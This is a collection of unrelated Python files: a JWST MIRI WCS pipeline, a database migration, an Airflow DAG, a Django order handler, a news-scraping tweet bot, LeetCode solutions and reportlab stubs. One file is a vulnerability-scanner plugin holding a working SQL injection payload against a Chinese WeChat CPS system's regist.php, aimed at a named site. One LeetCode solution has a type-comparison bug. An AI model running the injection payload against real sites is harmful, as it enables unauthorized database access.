import os.path
import logging
import numpy as np
from astropy.modeling import models
from astropy import coordinates as coord
from astropy import units as u
from astropy.io import fits

import gwcs.coordinate_frames as cf
from gwcs import selector
from gwcs.utils import _toindex
from . import pointing
from ..transforms import models as jwmodels
from .util import (not_implemented_mode, subarray_transform,
                   velocity_correction)
from ..datamodels import (DistortionModel, FilteroffsetModel,
                          DistortionMRSModel, WavelengthrangeModel,
                          RegionsModel, SpecwcsModel)

log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)

__all__ = ["create_pipeline", "imaging", "lrs", "ifu"]

def create_pipeline(input_model, reference_files):
    """
    Create the WCS pipeline for MIRI modes.

    Parameters
    ----------
    input_model : `jwst.datamodels.ImagingModel`, `~jwst.datamodels.IFUImageModel`, `~jwst.datamodels.CubeModel`
        Data model.
    reference_files : dict
        {reftype: reference file name} mapping.

    """
    exp_type = input_model.meta.exposure.type.lower()
    pipeline = exp_type2transform[exp_type](input_model, reference_files)
    if pipeline:
        log.info("Created a MIRI {0} pipeline with references {1}".format(
            exp_type, reference_files))
    return pipeline

def imaging(input_model, reference_files):
    """
    The MIRI Imaging WCS pipeline.

    It includes three coordinate frames -
    "detector", "v2v3" and "world".

    Parameters
    ----------
    input_model : `jwst.datamodels.ImagingModel`
        Data model.
    reference_files : dict
        Dictionary {reftype: reference file name}.
        Uses "distortion" and "filteroffset" reference files.

    """

    # Create the Frames
    detector = cf.Frame2D(name='detector', axes_order=(0, 1), unit=(u.pix, u.pix))
    v2v3 = cf.Frame2D(name='v2v3', axes_order=(0, 1), unit=(u.arcsec, u.arcsec))
    world = cf.CelestialFrame(reference_frame=coord.ICRS(), name='world')

    # Create the transforms
    subarray2full = subarray_transform(input_model)
    imdistortion = imaging_distortion(input_model, reference_files)
    distortion = subarray2full | imdistortion
    tel2sky = pointing.v23tosky(input_model)

    # TODO: remove setting the bounding box when it is set in the new ref file.
    try:
        bb = distortion.bounding_box
    except NotImplementedError:
        shape = input_model.data.shape
        # Note: Since bounding_box is attached to the model here it's in reverse order.
        bb = ((-0.5, shape[0] - 0.5), (3.5, shape[1] - 4.5))
    distortion.bounding_box = bb
    # Create the pipeline
    pipeline = [(detector, distortion),
                (v2v3, tel2sky),
                (world, None)
                ]

    return pipeline

def imaging_distortion(input_model, reference_files):
    """
    Create the "detector" to "v2v3" transform for the MIRI Imager.

    1. Filter dependent shift in (x,y) (!with an oposite
       sign to that delivered by the IT) (uses the "filteroffset" ref file)
    2. Apply MI (uses "distortion" ref file)
    3. Apply Ai and BI matrices (uses "distortion" ref file)
    4. Apply the TI matrix (this gives Xan/Yan coordinates) (uses "distortion" ref file)
    5. Aply the XanYan --> V2V3 transform (uses "distortion" ref file)
    6. Apply V2V3 --> sky transform

    """
    # Read in the distortion.
    with DistortionModel(reference_files['distortion']) as dist:
        distortion = dist.model
    obsfilter = input_model.meta.instrument.filter

    # Add an offset for the filter
    with FilteroffsetModel(reference_files['filteroffset']) as filter_offset:
        filters = filter_offset.filters
    col_offset = None
    row_offset = None
    for f in filters:
        if f.name == obsfilter:
            col_offset = f.column_offset
            row_offset = f.row_offset
            break

    if (col_offset is not None) and (row_offset is not None):
        distortion = models.Shift(col_offset) & models.Shift(row_offset) | distortion

    return distortion

def lrs(input_model, reference_files):
    """
    The LRS-FIXEDSLIT and LRS-SLITLESS WCS pipeline.

    It has two coordinate frames: "detecor" and "world".
    Uses the "specwcs" and "distortion" reference files.

    """

    # Setup the frames.
    detector = cf.Frame2D(name='detector', axes_order=(0, 1), unit=(u.pix, u.pix))
    spec = cf.SpectralFrame(name='wavelength', axes_order=(2,), unit=(u.micron,),
                            axes_names=('lambda',))
    sky = cf.CelestialFrame(reference_frame=coord.ICRS(), name='sky')
    world = cf.CompositeFrame(name="world", frames=[sky, spec])

    # Determine the distortion model.
    subarray2full = subarray_transform(input_model)
    with DistortionModel(reference_files['distortion']) as dist:
        distortion = dist.model

    full_distortion = subarray2full | distortion

    # Load and process the reference data.
    with fits.open(reference_files['specwcs']) as ref:
        lrsdata = np.array([l for l in ref[1].data])

        # Get the zero point from the reference data.
        # The zero_point is X, Y  (which should be COLUMN, ROW)
        # TODO: Are imx, imy 0- or 1-indexed?  We are treating them here as
        # 0-indexed.  Since they are FITS, they are probably 1-indexed.
        if input_model.meta.exposure.type.lower() == 'mir_lrs-fixedslit':
            zero_point = ref[1].header['imx'], ref[1].header['imy']
        elif input_model.meta.exposure.type.lower() == 'mir_lrs-slitless':
            #zero_point = ref[1].header['imxsltl'], ref[1].header['imysltl']
            zero_point = [35, 442]  # [35, 763] # account for subarray

    # Create the bounding_box
    x0 = lrsdata[:, 3]
    y0 = lrsdata[:, 4]
    x1 = lrsdata[:, 5]

    bb = ((x0.min() - 0.5 + zero_point[0], x1.max() + 0.5 + zero_point[0]),
          (y0.min() - 0.5 + zero_point[1], y0.max() + 0.5 + zero_point[1]))
    # Find the ROW of the zero point which should be the [1] of zero_point
    row_zero_point = zero_point[1]

    # Compute the v2v3 to sky.
    tel2sky = pointing.v23tosky(input_model)

    # Compute the V2/V3 for each pixel in this row
    # x.shape will be something like (1, 388)
    y, x = np.mgrid[row_zero_point:row_zero_point + 1, 0:input_model.data.shape[1]]

    spatial_transform = full_distortion | tel2sky
    radec = np.array(spatial_transform(x, y))[:, 0, :]

    ra_full = np.matlib.repmat(radec[0], _toindex(bb[1][1]) + 1 - _toindex(bb[1][0]), 1)
    dec_full = np.matlib.repmat(radec[1], _toindex(bb[1][1]) + 1 - _toindex(bb[1][0]), 1)

    ra_t2d = models.Tabular2D(lookup_table=ra_full, name='xtable',
        bounds_error=False, fill_value=np.nan)
    dec_t2d = models.Tabular2D(lookup_table=dec_full, name='ytable',
        bounds_error=False, fill_value=np.nan)

    # Create the model transforms.
    lrs_wav_model = jwmodels.LRSWavelength(lrsdata, zero_point)

    try:
        velosys = input_model.meta.wcsinfo.velosys
    except AttributeError:
        pass
    else:
        if velosys is not None:
            velocity_corr = velocity_correction(input_model.meta.wcsinfo.velosys)
            lrs_wav_model = lrs_wav_model | velocity_corr
            log.info("Applied Barycentric velocity correction : {}".format(velocity_corr[1].amplitude.value))

    # Incorporate the small rotation
    angle = np.arctan(0.00421924)
    rot = models.Rotation2D(angle)
    radec_t2d = ra_t2d & dec_t2d | rot

    # Account for the subarray when computing spatial coordinates.
    xshift = -bb[0][0]
    yshift = -bb[1][0]
    det2world = models.Mapping((1, 0, 1, 0, 0, 1)) | models.Shift(yshift, name='yshift1') & \
              models.Shift(xshift, name='xshift1') & \
              models.Shift(yshift, name='yshift2') & models.Shift(xshift, name='xshift2') & \
              models.Identity(2) | radec_t2d & lrs_wav_model
    det2world.bounding_box = bb[::-1]
    # Now the actual pipeline.
    pipeline = [(detector, det2world),
                (world, None)
                ]

    return pipeline

def ifu(input_model, reference_files):
    """
    The MIRI MRS WCS pipeline.

    It has the following coordinate frames:
    "detector", "alpha_beta", "v2v3", "world".

    It uses the "distortion", "regions", "specwcs"
    and "wavelengthrange" reference files.
    """
    # Define coordinate frames.
    detector = cf.Frame2D(name='detector', axes_order=(0, 1), unit=(u.pix, u.pix))
    alpha_beta = cf.Frame2D(name='alpha_beta_spatial', axes_order=(0, 1), unit=(u.arcsec, u.arcsec), axes_names=('alpha', 'beta'))
    spec_local = cf.SpectralFrame(name='alpha_beta_spectral', axes_order=(2,), unit=(u.micron,), axes_names=('lambda',))
    miri_focal = cf.CompositeFrame([alpha_beta, spec_local], name='alpha_beta')
    v23_spatial = cf.Frame2D(name='V2_V3_spatial', axes_order=(0, 1), unit=(u.arcsec, u.arcsec), axes_names=('v2', 'v3'))
    spec = cf.SpectralFrame(name='spectral', axes_order=(2,), unit=(u.micron,), axes_names=('lambda',))
    v2v3 = cf.CompositeFrame([v23_spatial, spec], name='v2v3')
    icrs = cf.CelestialFrame(name='icrs', reference_frame=coord.ICRS(),
                             axes_order=(0, 1), unit=(u.deg, u.deg), axes_names=('RA', 'DEC'))
    world = cf.CompositeFrame([icrs, spec], name='world')

    # Define the actual transforms
    det2abl = (detector_to_abl(input_model, reference_files)).rename(
        "detector_to_abl")
    abl2v2v3l = (abl_to_v2v3l(input_model, reference_files)).rename("abl_to_v2v3l")

    tel2sky = pointing.v23tosky(input_model) & models.Identity(1)

    # Put the transforms together into a single transform
    shape = input_model.data.shape
    det2abl.bounding_box = ((-0.5, shape[0] - 0.5), (-0.5, shape[1] - 0.5))
    pipeline = [(detector, det2abl),
                (miri_focal, abl2v2v3l),
                (v2v3, tel2sky),
                (world, None)]
    return pipeline

def detector_to_abl(input_model, reference_files):
    """
    Create the transform from "detector" to "alpha_beta" frame.

    Transform description:
    forward transform
      RegionsSelector
        label_mapper is the regions array
        selector is {slice_number: alpha_model & beta_model & lambda_model}
    backward transform
      RegionsSelector
        label_mapper is LabelMapperDict
           {channel_wave_range (): LabelMapperDict}
                                   {beta: slice_number}
        selector is {slice_number: x_transform & y_transform}
    """
    band = input_model.meta.instrument.band
    channel = input_model.meta.instrument.channel
    # used to read the wavelength range

    with DistortionMRSModel(reference_files['distortion']) as dist:
        alpha_model = dist.alpha_model
        beta_model = dist.beta_model
        x_model = dist.x_model
        y_model = dist.y_model
        bzero = dict(zip(dist.bzero.channel_band, dist.bzero.beta_zero))
        bdel = dict(zip(dist.bdel.channel_band, dist.bdel.delta_beta))
        slices = dist.slices

    with SpecwcsModel(reference_files['specwcs']) as f:
        lambda_model = f.model

    try:
        velosys = input_model.meta.wcsinfo.velosys
    except AttributeError:
        pass
    else:
        if velosys is not None:
            velocity_corr = velocity_correction(input_model.meta.wcsinfo.velosys)
            lambda_model = [m | velocity_corr for m in lambda_model]
            log.info("Applied Barycentric velocity correction : {}".format(velocity_corr[1].amplitude.value))

    with RegionsModel(reference_files['regions']) as f:
        regions = f.regions.copy()

    label_mapper = selector.LabelMapperArray(regions)
    transforms = {}

    for i, sl in enumerate(slices):
        forward = models.Mapping([1, 0, 0, 1, 0]) | \
                alpha_model[i] & beta_model[i] & lambda_model[i]
        inv = models.Mapping([2, 0, 2, 0]) | x_model[i] & y_model[i]
        forward.inverse = inv
        transforms[sl] = forward

    with WavelengthrangeModel(reference_files['wavelengthrange']) as f:
        wr = dict(zip(f.waverange_selector, f.wavelengthrange))

    ch_dict = {}
    for c in channel:
        cb = c + band
        mapper = jwmodels.MIRI_AB2Slice(bzero[cb], bdel[cb], c)
        lm = selector.LabelMapper(inputs=('alpha', 'beta', 'lam'),
                                  mapper=mapper, inputs_mapping=models.Mapping((1,), n_inputs=3))
        ch_dict[tuple(wr[cb])] = lm

    alpha_beta_mapper = selector.LabelMapperRange(('alpha', 'beta', 'lam'), ch_dict,
                                                  models.Mapping((2,)))
    label_mapper.inverse = alpha_beta_mapper

    det2alpha_beta = selector.RegionsSelector(('x', 'y'), ('alpha', 'beta', 'lam'),
                                              label_mapper=label_mapper, selector=transforms)
    return det2alpha_beta

def abl_to_v2v3l(input_model, reference_files):
    """
    Create the transform from "alpha_beta" to "v2v3" frame.

    Transform description:
    forward transform
      RegionsSelector
        label_mapper is LabelMapperDict()
        {channel_wave_range (): channel_number}
        selector is {channel_number: ab2v2 & ab2v3}
    bacward_transform
      RegionsSelector
        label_mapper is LabelMapperDict()
        {channel_wave_range (): channel_number}
        selector is {channel_number: v22ab & v32ab}
    """
    band = input_model.meta.instrument.band
    channel = input_model.meta.instrument.channel
    # used to read the wavelength range
    channels = [c + band for c in channel]

    with DistortionMRSModel(reference_files['distortion']) as dist:
        v23 = dict(zip(dist.abv2v3_model.channel_band, dist.abv2v3_model.model))

    with WavelengthrangeModel(reference_files['wavelengthrange']) as f:
        wr = dict(zip(f.waverange_selector, f.wavelengthrange))

    dict_mapper = {}
    sel = {}
    # Since there are two channels in each reference file we need to loop over them
    for c in channels:
        ch = int(c[0])
        dict_mapper[tuple(wr[c])] = models.Mapping((2,), name="mapping_lam") | \
                   models.Const1D(ch, name="channel #")
        ident1 = models.Identity(1, name='identity_lam')
        ident1._inputs = ('lam',)
        chan_v23 = v23[c]
        v23chan_backward = chan_v23.inverse
        del chan_v23.inverse
        v23_spatial = chan_v23
        v23_spatial.inverse = v23chan_backward
        # Tack on passing the third wavelength component
        v23c = v23_spatial & ident1
        sel[ch] = v23c

    wave_range_mapper = selector.LabelMapperRange(('alpha', 'beta', 'lam'), dict_mapper,
                                                  inputs_mapping=models.Mapping([2, ]))
    wave_range_mapper.inverse = wave_range_mapper.copy()
    abl2v2v3l = selector.RegionsSelector(('alpha', 'beta', 'lam'), ('v2', 'v3', 'lam'),
                                      label_mapper=wave_range_mapper,
                                      selector=sel)

    return abl2v2v3l

exp_type2transform = {'mir_image': imaging,
                      'mir_tacq': imaging,
                      'mir_lyot': imaging,
                      'mir_4qpm': imaging,
                      'mir_coroncal': imaging,
                      'mir_lrs-fixedslit': lrs,
                      'mir_lrs-slitless': lrs,
                      'mir_mrs': ifu,
                      'mir_flatmrs': not_implemented_mode,
                      'mir_flatimage': not_implemented_mode,
                      'mir_flat-mrs': not_implemented_mode,
                      'mir_flat-image': not_implemented_mode,
                      'mir_dark': not_implemented_mode,
                      }

def get_wavelength_range(input_model, path=None):
    """
    Return the wavelength range used for computing the WCS.

    Needs access to the reference file used to construct the WCS object.

    Parameters
    ----------
    input_model : `jwst.datamodels.ImagingModel`
        Data model after assign_wcs has been run.
    path : str
        Directory where the reference file is. (optional)
    """
    fname = input_model.meta.ref_file.wavelengthrange.name.split('/')[-1]
    if path is None and not os.path.exists(fname):
        raise IOError("Reference file {0} not found. Please specify a path.".format(fname))
    else:
        fname = os.path.join(path, fname)
        f = WavelengthrangeModel(fname)

    wave_range = f.tree['wavelengthrange'].copy()
    wave_channels = f.tree['channels']
    f.close()

    wr = dict(zip(wave_channels, wave_range))
    channel = input_model.meta.instrument.channel
    band = input_model.meta.instrument.band

    return dict([(ch + band, wr[ch + band]) for ch in channel])


#!/usr/bin/python
#-*- encoding:utf-8 -*-
#title:686 weixin CPS system SQL injection
#author: Jewer
#inurl:regist.php?invite=

def assign(service, arg):
    if service == "686_weixin":
        return True, arg
def audit(arg):
    payload = "login/regist.php?invite=-4325%20and%201=2%20union%20select+1,md5(123),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23"
    url = arg + payload
    code, head,res, errcode, _url = curl.curl2(url)
    if code==200 and '202cb962ac59075b964b07152d234b70' in res:
        security_hole(url)
if __name__ == '__main__':
    from dummy import *
    audit(assign('686_weixin', 'http://www.ylf8888.com/')[1])


"""Add uuid column to temp_session table

Revision ID: 01b78c1fc2d2
Revises: 8614bb018919
Create Date: 2023-08-01 02:11:59.767136

"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.sql import text

# revision identifiers, used by Alembic.
revision = "01b78c1fc2d2"
down_revision = "8614bb018919"
branch_labels = None
depends_on = None

# Replace the old UUID definition with a new one using server_default
uuid_server_default = text("uuid_generate_v4()")

# Define the upgrade and downgrade functions
def upgrade():
    op.add_column(
        "temp_session",
        sa.Column(
            "uuid",
            sa.String(),
            unique=True,
            nullable=False,
            server_default=uuid_server_default,
        ),
    )

def downgrade():
    op.drop_column("temp_session", "uuid")


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
    Time    : 2018/5/3 下午4:40
    Author  : wangjf
    File    : airflow.py
    GitHub  : https://github.com/wjf0627
"""
import airflow
from datetime import timedelta

from airflow import DAG
from airflow.operators.bash_operator import BashOperator

default_args = {
    'owner': 'wangjf',
    'depends_on_past': False,
    'start_date': airflow.utils.dates.days_ago(2),
    'retries': 1,
    'retry_delay': timedelta(minutes=5)
}

dag = DAG(
    'airflow',
    schedule_interval=timedelta(days=1),
    default_args=default_args
)

command = "ssh -i /var/lib/spark/wangjf/data/bpu-test-new.pem ec2-user@10.1.28.107 pwd "

BashOperator(task_id='airflow_ssh',
             depends_on_past=False,
             bash_command=command,
             dag=dag)


from ..models import *
from ..forms import *
from cart.modules.cartmanager import *

def createorder(request, form, new):
    user = request.user
    if new:
        if form.is_valid():
            # clean form data of delivery address form
            name = form.cleaned_data['first_name']
            lastname = form.cleaned_data['last_name']
            phone = form.cleaned_data['phone']
            city = form.cleaned_data['city_town']
            street = form.cleaned_data['street']
            building = form.cleaned_data['building_appartement']
            information = form.cleaned_data['additional_information']
            note = form.cleaned_data['note']

            # is intance
            # create a new delivery address model object
            state = False
            # is list
            # list of user saved delivery addresses
            allad = user.myaddress.all()

            if len(allad) == 0:
                state=True
            delivery = Delivery_Address_Details.objects.create(name=name, last_name=lastname, city_town=city, street_name=street, building_appartment=building, phone_number=phone, delivery_details=information, user=user, default=state)
        else:
            return False
    else:
        # is instance object
        # current saved in data address
        id = int(form['current_address_id'])
        note = form['ordernote']
        delivery = Delivery_Address_Details.objects.get(id=id)
    # is instance
    # cart manager class instance to add remove and update cart
    managecart = CartManager(request)
    # is float
    # current cart totla
    total = "{:.2f}".format(managecart.cart_context_process()[1])
    # is instance
    # create an new order object model
    order = Orders.objects.create(user=user, address=delivery, total=total, note=note)

    # loop over current user cart
    for item in user.mycart.items.all():
        # create new item order model object
        Item_Order.objects.create(product=item.product, quantity=item.quantity, price=item.product.price, product_name=item.product.name, order=order)
        # is instance
        # product model instance
        product = item.product
        # is instance
        # current user cart model instance
        cart = user.mycart
        # delete current product from current user cart
        managecart.delete_objct(product, cart)

    return order

# dict -> dict * boolean
# takes request dict return: form data
# and boolean true if user have address saved or false if not
def address_post(request):

    # is instance form
    # new delivery address for login user
    form = Delivery_Information(request.POST)
    if form.is_valid():
        # new address
        state = True
        print("and I am still here",form.is_valid())

    else:
        # is disct
        # conatin current select address id and order note
        form =request.POST
        print("still on post")
        # is a helper function at modules, ordermanager
        # user have saved address
        state = False

    return form, state


# import libraries
import re
import tweepy
import os
import time
from airtable import Airtable
from secrets import *
from urllib import request
from bs4 import BeautifulSoup
import datetime

at = Airtable(os.environ['airtable_indextrump_base'], 'TrumpIndex', api_key=os.environ['airtable_apikey'])

def send_tweet(paper, trumpindex):
    # Twitter requires all requests to use OAuth for authentication
    auth = tweepy.OAuthHandler(os.environ["consumer_key"], os.environ["consumer_secret"])

    auth.set_access_token(os.environ["access_token"], os.environ["access_secret"])

     #Construct the API instance
    api = tweepy.API(auth) # create an API object

    user = api.me()
    print (user.name)

    update = "Today's " + paper[0] + " homepage features " + str(trumpindex) + " mentions of Trump " + paper[1] + " #TrumpIndex"

    send_update(api, update)

def send_update(api, txt):

    # send the status update
    try:

        status = api.update_status(txt)
        print (status.id)
    except Exception as e:
        print(e)

#updates the Airtable record for today with the page & index
def update_airtable(dbrec, paper, index):
    at.update(dbrec['id'], {paper: index})

def test_new():

#	tracking_papers = [("Washington Post","https://www.washingtonpost.com", "@WashingtonPost"),
#                       ("Chicago Tribune","https://www.chicagotribune.com", "@chicagotribune"),
#                       ("New York Times","https://www.nytimes.com", "@nytimes"),
#                       ("CNN","https://us.cnn.com", "@cnn"),
#                       ("Fox News","https://www.foxnews.com", "@FoxNews"),
#                       ("MSNBC","https://www.msnbc.com", "@msnbc"),
#                       ("NBC News","https://www.nbcnews.com/", "@nbcnews"),
#                       ("CBS News","https://www.cbsnews.com/","@CBSNews"),
#                       ("ABC News","https://abcnews.go.com/","@ABC"),
#                       ("The Guardian","https://www.theguardian.com/us","@GuardianUS")]

	tracking_papers = [("NPR","https://www.npr.org/sections/news/", "@npr")]

	for paper in tracking_papers:
		try:
			print(paper[0])
			page = request.urlopen(paper[1])
			soup = BeautifulSoup(page, "html.parser")
			print(soup.title)

			# initiate the list of found strings
			matches = []

			# find all article headers
#			headers = soup.find_all([re.compile("^h[1-5]"),"span","p","a","strong"])
			headers = soup.find_all(string=re.compile("Trump"))
			hcount = 0
			trcount = 0

			for hdr in headers:
				hcount += 1
				#for hstr in hdr.contents:
					#if (hstr.find('Trump') > 1):
						#trcount += 1
				try:
					mi = matches.index(hdr)
				# new value: add to array
				except ValueError:
					matches.append(hdr)
					trcount += 1
					#print(hdr.name, hstr)

				#if (hdr.contents and hdr.contents.string.find('Trump') > -1):
				#	trcount += 1
				#	print(hdr.name, hdr.contents)
			print(hcount, trcount)

			# get the text first
			alltext=soup.get_text()

			alltrumps = [m.start() for m in re.finditer('Trump ', alltext)]

			print(len(alltrumps))

		except Exception as e:
			print(e)

def get_index():

    # pages we track

    tracking_papers = [("Washington Post","https://www.washingtonpost.com", "@WashingtonPost"),
                       ("Chicago Tribune","https://www.chicagotribune.com", "@chicagotribune"),
                       ("Los Angeles Times","http://www.latimes.com/", "@latimes"),
                       ("New York Times","https://www.nytimes.com", "@nytimes"),
                       ("NPR","https://www.npr.org/sections/news/", "@npr"),
                       ("Fox News","https://www.foxnews.com", "@FoxNews"),
                       ("MSNBC","https://www.msnbc.com", "@msnbc"),
                       ("NBC News","https://www.nbcnews.com/", "@nbcnews"),
                       ("CBS News","https://www.cbsnews.com/","@CBSNews"),
                       ("ABC News","https://abcnews.go.com/","@ABC"),
                       ("The Guardian","https://www.theguardian.com/us","@GuardianUS")]

    # Create a new record in Airtable
    dbrec = at.insert({'Date': datetime.datetime.now().strftime("%Y-%m-%d")})

    for paper in tracking_papers:
        try:
            print(paper[0])
            page = request.urlopen(paper[1])
            soup = BeautifulSoup(page, 'html.parser')
            # test
            #print(soup.title)

            matches = []

            # look only at headers, <span>, <p>
            headers = soup.find_all(string=re.compile("Trump"))
            hcount=0
            trcount=0

            for hdr in headers:
                hcount += 1

                #look for duplicates
                try:
                    mi = matches.index(hdr)
                except ValueError:
                    # new value
                    matches.append(hdr)
                    trcount += 1

            #get the text first
            #alltext=soup.get_text()
            #alltrumps = [m.start() for m in re.finditer('Trump ', alltext)]

            #print(len(alltrumps))

            # update the database
            update_airtable(dbrec, paper[0], trcount)

            # send the tweet!
            send_tweet(paper, trcount)
            # and wait a few sec before the next one
            time.sleep(5)
        except Exception as e:
            print(e)

if __name__ == '__main__':
    get_index()
    #test_new()


# The problem
# Take two numbers from the users.
# Calculate the result of second number power of the first number.

try:
    num1 = int(input("Enter base: "))
    num2 = int(input("Enter exponent: "))
    print(f"{num1} ^ {num2} = {num1 ** num2}")
except ValueError:
    print("Base and exponents must be integers")


#!/usr/bin/env python
# coding: utf-8

# In[ ]:

# In[1]:

from Functions import *

# In[ ]:

arg1 = sys.argv[1]
arg2 = sys.argv[2]

# In[2]:

###테스트 데이터###
"""
하남->용인
개인 일정
email = seumtree@test.com
scheduleNum = 1
"""

weathers = setWeather(arg1,arg2)
"""
weatherDesc = []
weatherId = []
weatherIcon = []

for w in weathers:
    weatherDesc.append(w[0])
    weatherId.append(w[1])
    weatherIcon.append(w[2])

#print(weatherId)
"""

# cannotGo = WeatherOX(weatherId, '2022-12-17')
# print(cannotGo)

# In[ ]:


"""
# Definition for a Node.
class Node:
    def __init__(self, val, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right
"""
class Solution:
    def treeToDoublyList(self, root: 'Node') -> 'Node':

        def traversal(node):
            nonlocal first, last
            if node:
                traversal(node.left)
                if last:
                    last.right = node
                    node.left = last
                else:
                    first = node
                last = node
                traversal(node.right)

        if not root: return
        first = None
        last = None
        traversal(root)
        last.right = first
        first.left = last
        return first


'''
给你一个由 '1'（陆地）和 '0'（水）组成的的二维网格，请你计算网格中岛屿的数量。
岛屿总是被水包围，并且每座岛屿只能由水平方向或竖直方向上相邻的陆地连接形成。
此外，你可以假设该网格的四条边均被水包围。

示例 1:
输入:
11110
11010
11000
00000
输出: 1
示例 2:

输入:
11000
11000
00100
00011
输出: 3
解释: 每座岛屿只能由水平和/或竖直方向上相邻的陆地连接而成。

来源：力扣（LeetCode）
链接：https://leetcode-cn.com/problems/number-of-islands
著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。
'''
import collections

# 使用深度优先搜索，线性遍历整个岛屿，选择节点值为1的节点进行遍历。
# 将当前节点为1的岛屿数量加1，将遍历过的节点改为0
class Solution:
    def dfs(self, grid, r, c):
        grid[r][c] = '0'
        nr = len(grid)
        nc = len(grid[0])
        for x, y in [(r + 1, c), (r, c + 1), (r - 1, c), (r, c - 1)]:
            if 0 <= x < nr and 0 <= y < nc and grid[x][y] == '1':
                self.dfs(grid, x, y)

    def numIslands(self, grid):
        res = 0
        nr = len(grid)
        if nr == 0:
            return 0
        nc = len(grid[0])
        for r in range(nr):
            for c in range(nc):
                if grid[r][c] == 1:
                    res += 1
                    self.dfs(grid, r, c)
        return res


import torch.utils.data as data
from PIL import Image
import numpy as np
import pandas as pd
import os
import random
class PatientAware_BCVA_Dataset(data.Dataset):
    def __init__(self,df, img_dir, transforms):
        self.img_dir = img_dir
        self.transforms = transforms
        self.df = pd.read_csv(df)

    def __len__(self):
        return len(self.df)

    def __getitem__(self, idx):
        bcva=self.df.iloc[idx,1]

        path_1 = self.img_dir + self.df.iloc[idx, 0]
        if path_1 == "":
            print(f"path_1:{path_1}")
            exit()
        path_2 = path_1
        if random.random() > 0.6:
            try:
                idx_2 = random.randint(idx-2, idx+2)
                while self.df.iloc[idx_2, 1] != bcva:
                    idx_2 = random.randint(idx-2, idx+2)

                path_2 = self.img_dir + self.df.iloc[idx_2, 0]
            except Exception as e:
                print(f"index cause exception:{idx}")

        image_1 = self.processing_image(path_1)
        image_2 = self.processing_image(path_2)

        image = self.transforms(image_1, image_2)
        return  path_1, path_2, image, bcva

    def processing_image(self, path):
        image = Image.open(path).convert("L")
        image = np.array(image)
        image = Image.fromarray(image)
        return image


from typing import Any

from reportlab.pdfbase.pdfdoc import PDFObject

class PDFFromString(PDFObject):
    _s: Any
    def __init__(self, s) -> None: ...
    def format(self, document): ...

class RadioGroup(PDFObject):
    TU: Any
    Ff: Any
    kids: Any
    T: Any
    V: Any
    def __init__(self, name, tooltip: str = ..., fieldFlags: str = ...) -> None: ...
    def format(self, doc): ...

class AcroForm(PDFObject):
    formFontNames: Any
    referenceMap: Any
    _canv: Any
    fonts: Any
    fields: Any
    _radios: Any
    _refMap: Any
    _pdfdocenc: Any
    sigFlags: Any
    extras: Any
    def __init__(self, canv, **kwds) -> None: ...
    @property
    def canv(self): ...
    def fontRef(self, f): ...
    def format(self, doc): ...
    def colorTuple(self, c): ...
    def streamFillColor(self, c): ...
    def streamStrokeColor(self, c): ...
    def checkboxAP(
        self,
        key,
        value,
        buttonStyle: str = ...,
        shape: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        size: int = ...,
        dashLen: int = ...,
    ): ...
    @staticmethod
    def circleArcStream(size, r, arcs=..., rotated: bool = ...): ...
    def zdMark(self, c, size, ds, iFontName): ...
    def getRef(self, obj): ...
    def getRefStr(self, obj): ...
    @staticmethod
    def stdColors(t, b, f): ...
    @staticmethod
    def varyColors(key, t, b, f): ...
    def checkForceBorder(
        self,
        x,
        y,
        width,
        height,
        forceBorder,
        shape,
        borderStyle,
        borderWidth,
        borderColor,
        fillColor,
    ) -> None: ...
    def checkbox(
        self,
        checked: bool = ...,
        buttonStyle: str = ...,
        shape: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        size: int = ...,
        x: int = ...,
        y: int = ...,
        tooltip: Any | None = ...,
        name: Any | None = ...,
        annotationFlags: str = ...,
        fieldFlags: str = ...,
        forceBorder: bool = ...,
        relative: bool = ...,
        dashLen: int = ...,
    ) -> None: ...
    def radio(
        self,
        value: Any | None = ...,
        selected: bool = ...,
        buttonStyle: str = ...,
        shape: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        size: int = ...,
        x: int = ...,
        y: int = ...,
        tooltip: Any | None = ...,
        name: Any | None = ...,
        annotationFlags: str = ...,
        fieldFlags: str = ...,
        forceBorder: bool = ...,
        relative: bool = ...,
        dashLen: int = ...,
    ) -> None: ...
    def makeStream(self, width, height, stream, **D): ...
    def txAP(
        self,
        key,
        value,
        iFontName,
        rFontName,
        fontSize,
        shape: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        width: int = ...,
        height: int = ...,
        dashLen: int = ...,
        wkind: str = ...,
        labels=...,
        I=...,
        sel_bg: str = ...,
        sel_fg: str = ...,
    ): ...
    def makeFont(self, fontName): ...
    def _textfield(
        self,
        value: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        width: int = ...,
        height: int = ...,
        x: int = ...,
        y: int = ...,
        tooltip: Any | None = ...,
        name: Any | None = ...,
        annotationFlags: str = ...,
        fieldFlags: str = ...,
        forceBorder: bool = ...,
        relative: bool = ...,
        maxlen: int = ...,
        fontName: Any | None = ...,
        fontSize: Any | None = ...,
        wkind: Any | None = ...,
        options: Any | None = ...,
        dashLen: int = ...,
    ) -> None: ...
    def textfield(
        self,
        value: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        width: int = ...,
        height: int = ...,
        x: int = ...,
        y: int = ...,
        tooltip: Any | None = ...,
        name: Any | None = ...,
        annotationFlags: str = ...,
        fieldFlags: str = ...,
        forceBorder: bool = ...,
        relative: bool = ...,
        maxlen: int = ...,
        fontName: Any | None = ...,
        fontSize: Any | None = ...,
        dashLen: int = ...,
    ): ...
    def listbox(
        self,
        value: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        width: int = ...,
